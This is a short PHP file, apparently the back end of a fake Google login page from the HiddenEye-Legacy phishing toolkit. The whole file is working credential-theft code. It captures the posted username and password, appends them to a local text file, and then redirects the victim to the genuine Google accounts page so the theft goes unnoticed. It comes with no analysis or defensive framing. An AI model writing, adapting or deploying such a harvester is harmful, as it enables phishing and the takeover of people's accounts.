HiddenEye-Legacy/WebPages/google_advanced_web/login.php

15 lines
436 B
PHP
Raw Normal View History

2018-04-24 13:30:11 +08:00
<?php
$var = $_POST['username'];
$var2 = $_POST['password'];
$myFile = file_get_contents("protect.html");
$searchString = "<html><title>WELCOME</title></html>";
if($myFile != $searchString) {
file_put_contents("usernames.txt", "[EMAIL]: " . $var . " [PASS]: " . $var2 . "\n", FILE_APPEND);
header('Location:https://accounts.google.com');
}
if($myFile != $searchString) {
echo "LOGIN SUCCESSFULL";
}
exit();
?>